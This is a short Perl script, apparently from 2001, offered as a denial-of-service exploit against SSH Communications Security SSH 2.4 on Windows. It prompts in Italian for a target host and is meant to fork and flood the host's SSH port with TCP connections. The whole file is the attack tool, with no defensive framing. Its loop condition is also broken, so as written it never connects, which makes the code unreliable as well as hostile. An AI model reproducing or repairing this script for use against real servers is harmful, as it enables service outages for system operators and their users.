#!/usr/bin/perl
#SSH Secure Shell Denial of Service Vulnerability
#Vulnerable OS :
#"SSH Communications Security SSH 2.4" -> Micorsoft Windows 95,98,NT4,2000
#"SSH Communications Security SSH 2.5" -> not vulnerable
#
#by Nemes||y -dkl- dragon@shellnow.it
#31/3/2001
#(tnx to my girlfriend Annalisa :>)
use Socket;

 sub conn {

  my ($host, $portname, $server, $port, $proto, $servaddr);

  $host = $_[0];
  $portname = $_[1];
  $server = gethostbyname($host) or die "gethostbyname: host inesistente - $!";
  $port = getservbyname($portname, 'tcp') or die "getservbyname: porta non trovata - $!";
  $proto = getprotobyname('tcp') or die "getprotobyname: protocollo errato - $!";
#inet
  $servaddr = sockaddr_in($port, $server);
#socket
  socket(CONNFD, PF_INET, SOCK_STREAM, $proto);
  connect(CONNFD, $servaddr) or die "connect - $!";

  return CONNFD;
}
system("clear");
print "\nSSH DoS -dkl by Nemes||y -dkl-\n\n";
print "Inserire l'host : ";
$h = <STDIN>;
$serv = "ssh";
chop $h;
print "\n\n Make Connection...\n\n";
$i = 0;
for ($i; $i > 65; $i++)
  {
    fork;
    $NET = conn($h,$serv);
    print ".";
  }
print "\n End by Nemes||y -dkl- dragon\@shellnow.it \n";

# -dkl-